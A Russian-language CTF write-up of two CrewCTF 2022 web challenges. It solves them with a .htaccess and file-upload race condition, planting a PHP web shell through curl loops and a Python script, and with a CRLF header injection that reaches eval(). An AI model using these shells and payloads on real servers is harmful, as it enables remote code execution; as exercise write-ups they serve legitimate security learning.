Web Category — Uploadz.
Solves: 41
Points: 484
Description: I think this site safe from upload file, prove me wrong please.
https://uploadz-web.crewctf-2022.crewc.tf/
Сбор информации по веб сайту.
Так как изначально были даны исходники сайта, всё оказалось проще, чем обычно бывает при тестировании методом "Черной коробки". Функционал сайта заключался только в загрузке любого файла и последующего доступа к этому файлу.
Интересные моменты в исходниках.
Файл .htaccess запрещал доступ к файлам с расширением .php:
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} \.php$
RewriteRule !^index.php index.php [L,NC]
В файле с конфигом апача, как это обычно и бывает был запрет на доступ к файлам которые начинаются на .ht:
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
В файле index.php, было несколько интересных моментов. Во первых, название файла который мы грузили, обрезалось с помощью функции basename(), следующие две строки, которые нужны были чтобы убрать из названия файла точки дальше в коде нигде не использовалось.
$fileName = basename($_FILES['uploadedFile']['name']);
$fileNameCmps = explode(".", $fileName); // не использовалось дальше
$fileExtension = strtolower(end($fileNameCmps)); // не использовалось дальше
Также было интересно то, что в конечном итоге, загруженный файл хранился по следующему пути:
/storage/app/uploads/<6_random_letters><Initial_File_Name>
Но при изначальной загрузке, файл грузился в директорию temp, потом копировался в uploads и удалялся из temp через секунду, а путь в temp выглядел следующим образом:
/storage/app/temp/<Initial_File_Name>
Идея эксплуатации заключалас в том, чтобы загрузить одновременно два файла:
- Свой файл .htaccess, в котором нужно будет добавив следующее правило:
AddType application/x-httpd-php .phtml # Либо любое другое расширение
- Свой файл с расширением .phtml (или любым другим указанным в .htaccess), в котором будет наш PHP пейлоад, например:
<?php echo shell_exec(cat /flag.txt); ?>
Теперь к реализации 🙂
Сложное (и супер костыльное) изначальное решение.
P.S. Сначала будет отговорка, почему такое плохое решение. Короче я болел во время решения этого задания, шёл 10-ый час попыток его решить, у меня че то не получалось написать питоновский скрипт для загрузки файлов через модуль requests, да и вообще я в тот день встал не с той ноги и звезды на небе неправильно сошлись, да и вообще
нет друг я не оправдываюсь, просто ты ё**ное муд.., кто понял тот понял.
Как я уже написал выше, так как у меня не получалось загрузить файлы через питоновский скрипт, было принято решение грузить их с помощью curl. Причём, так как я туповат, и не вдуплил, что всё можно было сделать одним batch скриптом, то вот:
- Создаем первый batch скрипт, который будет в бесконечном цикле грузить на сервер файл .htaccess
@echo off :x curl -v -F submit="Upload Image" -F uploadedFile="@.htaccess;type=application/x-extension-htaccess" http://uploadz-web.crewctf-2022.crewc.tf/ goto x
- Создаем второй batch скрипт, который будет в бесконечном цикле обращаться к загружаемому файлу с PHP кодом
@echo off :x curl http://uploadz-web.crewctf-2022.crewc.tf/storage/app/temp/hollywarrior1.phtml goto x
- Запускаем одинарную команду которая, загрузит файл с PHP кодом.
curl -v -F submit="Upload Image" -F uploadedFile="@hollywarrior1.phtml;type=application/x-httpd-php" http://uploadz-web.crewctf-2022.crewc.tf/ --proxy 127.0.0.1:8080
Использовал флаг —proxy чтобы в бурпе точно увидеть, что мой запрос отправлен правильно
И во вкладке где запускали второй batch скрипт, видим флаг:
🚩crewctf{upload_rce_via_race}🚩
Решение с одним batch скриптом
Это вроде бы самый норм вариант, но надо ещё как-то доработать, чтобы вызывать обращение к файлу с PHP кодом не в бесконечное кол-во раз. В общем вот:
@echo off
call "cmd /c start curl -v -F submit="Upload Image" -F uploadedFile="@hollywarrior1.phtml;type=application/x-httpd-php" http://uploadz-web.crewctf-2022.crewc.tf/"
call "cmd /c start curl -v -F submit="Upload Image" -F uploadedFile="@.htaccess;type=application/x-extension-htaccess" http://uploadz-web.crewctf-2022.crewc.tf/"
:x
curl http://uploadz-web.crewctf-2022.crewc.tf/storage/app/temp/hollywarrior1.phtml
goto x
Вот результат:
Решение с помощью питоновского скрипта:
Это решение взято от сюда: https://github.com/ixSly/CTFs/tree/master/CrewCTF#uploadz-web (спасибо автору)
import requests
import re
import urllib3
import threading
import time
import sys
urllib3.disable_warnings()
file = ".htaccess"
file2 = "test.jpg"
path = "storage/app/temp/"
files = {
'uploadedFile': (file, "AddType application/x-httpd-php .jpg", 'text/plain')
}
files2 = {
'uploadedFile': (file2, """<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>""", 'text/plain')
}
values = {'submit': 'Upload Image'}
url = "https://uploadz-web.crewctf-2022.crewc.tf/"
def performReqs(uploadedFile):
r = requests.post(url, files=uploadedFile,proxies={"https":"http://127.0.0.1:1337"},verify=False,data=values)
filename = re.search("your file in (.*)<",r.text)
cmd = sys.argv[1]
t1 = threading.Thread(target=performReqs, args=(files,))
t2 = threading.Thread(target=performReqs, args=(files2,))
t2.start()
t1.start()
r2 = requests.get(url+path+"test.jpg?cmd={}".format(cmd), verify=False,proxies={"https":"http://127.0.0.1:1337"})
print(r2.text)
Для получения флага:
python3 slv.py "cat /flag.txt"
Бонус в виде первого (легкого) веб таска 🙂
Solves: 90
Points: 118
Description: Cleaning urls as a Service , Can you pwn my Service?
Author: omakmoh#1070
http://193.105.207.19:5001/
В данном таске была уязвимость переноса строки. В исходниках были интересны, следующие строки:
В файле php.ini запрет на следующие функции (разрешена только shell_exec()):
disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, passthru, show_source, system, phpinfo, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority
В файле index.php, передавался параметр url, необработанное значение которого, отправлялось в заголовке X-Original-URL запросом к cleaner.php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
{
clean_and_send($_POST['url']);
}
function clean_and_send($url){
$uncleanedURL = $url; // should be not used anymore
$values = parse_url($url);
$host = explode('/',$values['host']);
$query = $host[0];
$data = array('host'=>$query);
$cleanerurl = "http://127.0.0.1/cleaner.php";
$stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
'method' => 'POST',
'header' => "X-Original-URL: $uncleanedURL",
'content' => http_build_query($data)
]
]));
В файле cleaner.php обрабатывался запрос, и если встречался заголовок X-Visited-Before, то его значение передавалось в функцию eval().
function tryandeval($value){
echo "<br>How many you visited us ";
eval($value);
}
foreach (getallheaders() as $name => $value) {
if ($name == "X-Visited-Before"){
tryandeval($value);
}}
И чтобы вместе с дефолтным передаваемым заголовком X-Original-URL передать ещё один, можно использовать атаку под названием CRLF injection. Её смысл в том, что мы передаём символы переноса строки. В URL энкодинге это: %0d%0a.
Итоговый пейлоад:
url=http://asd.qwe/?%0d%0aX-Visited-Before:%20echo%20`cat%20/maybethisistheflag`;
🚩crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}🚩
Полезные ресурсы:
- Про CRLF injection — https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a
- Ссылка на чувака который решил питоном — https://github.com/ixSly/CTFs/tree/master/CrewCTF
- Руководство по PHP — https://www.php.net/manual/ru/index.php
- Всевозможные приколы с загрузкой файла .htaccess — https://github.com/wireghoul/htshells